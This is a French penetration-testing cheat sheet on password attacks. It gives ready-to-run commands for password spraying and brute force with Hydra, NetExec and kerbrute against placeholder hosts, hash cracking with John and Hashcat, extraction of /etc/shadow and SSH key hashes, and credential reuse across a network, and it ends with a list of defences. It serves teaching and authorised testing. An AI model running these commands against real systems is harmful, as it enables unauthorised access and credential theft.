Password attacks

#Deux terrains

#Reconnaissance avant de frapper

# Politique de verrouillage Windows
nxc smb dc01.domain.local -u user -p 'Password' --pass-pol
net accounts

# Politique locale Linux
chage -l user
grep -R "pam_pwquality\|minlen\|remember" /etc/pam.d /etc/security 2>/dev/null

• Seuil de verrouillage : nombre d'échecs, durée, fenêtre d'observation.
• MFA : un mot de passe valide ne suffit pas sur les accès protégés.
• Format des logins : prenom.nom, p.nom, sAMAccountName, emails.
• Contexte : nom de l'entreprise, produit, ville, année, saison, mots de passe par défaut.
• Sources de usernames : OSINT, kerbrute userenum, nxc smb --users, LDAP, pages équipe.

#Wordlists et mutations

# Wordlists classiques
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Leaked-Databases/

# Hashcat : dictionnaire + règles
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# John : dictionnaire + règles
john --wordlist=rockyou.txt --rules hashes.txt

# Masque ciblé : mot + 4 chiffres
hashcat -m 1000 hashes.txt -a 3 'MotDePasse?d?d?d?d'

Les meilleures wordlists sont contextuelles : ajoute le nom du client, ses produits, ses villes, les années et les variantes de mots de passe d'entreprise. Une liste de 10 000 mots ciblés bat souvent rockyou.

#En ligne : Hydra et spraying

# Un mot de passe, beaucoup de comptes (spraying)
hydra -L users.txt -p 'Summer2026!' ssh://10.10.10.10 -t 2

# Beaucoup de mots de passe sur un compte (brute force ciblé)
hydra -l admin -P passwords.txt ssh://10.10.10.10 -t 2 -f

# Formulaire web
hydra -L users.txt -P passwords.txt target.test http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# Spraying SMB avec NetExec
nxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success

# Spraying Kerberos
kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt 'Summer2026!'

Détails, modules et contournements de formulaires : Hydra.

#Hors ligne : John et Hashcat

# Identifier puis casser
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
hashcat -m 0 hashes.txt rockyou.txt

# Résultats
john --show hashes.txt
hashcat -m 0 hashes.txt --show

Détails des formats, règles et outils *2john : John the Ripper. Modes, GPU et masques : Hashcat.

#Cibles typiques

Windows

• SAM / LSA / NTDS via Impacket ou NetExec.
• NetNTLMv2 capturés par Responder et relais NTLM.
• Kerberoast / AS-REP via Attaques Active Directory.
• Secrets mémoire et DPAPI via Mimikatz.

Linux

• /etc/shadow avec unshadow /etc/passwd /etc/shadow > hashes.txt.
• Clés SSH chiffrées : ssh2john id_rsa > ssh.hash.
• Mots de passe dans les historiques, fichiers de config et sauvegardes.

Fichiers et applications

• ZIP, RAR, 7z, PDF, Office, KeePass : outils *2john.
• Hashs de bases de données, JWT secrets, tokens d'API.
• Panneaux web, VPN, FTP, SSH, RDP, MSSQL : retour aux attaques en ligne.

#Après le crack

# Réutiliser les identifiants sur le périmètre
nxc smb 10.10.10.0/24 -u cracked-users.txt -p cracked-passwords.txt --continue-on-success

# Tester le compte local administrateur réutilisé
nxc smb 10.10.10.10 -u Administrator -p 'CrackedPass!' --local-auth

• Un mot de passe cassé sur un service est souvent réutilisé ailleurs.
• Vérifie les comptes de service, les accès VPN, les panneaux d'administration.
• Documente la source du hash et la méthode, pas le mot de passe en clair dans le rapport final.

#Défenses

• MFA sur tous les accès exposés, mots de passe sans reuse, gestionnaire de secrets.
• Phrases de passe longues, listes de mots de passe interdits, rotation des comptes de service.
• bcrypt ou argon2 pour le stockage, avec sel et pepper.
• Verrouillage progressif, rate limiting et alerting sur les échecs.
• Désactiver NTLMv1, LLMNR/NBT-NS, et limiter les délégations.
• Credential Guard, LSA protection, surveillance des événements 4625/4771/4768/4769.
• Comptes leurres et détection des sprayings lents.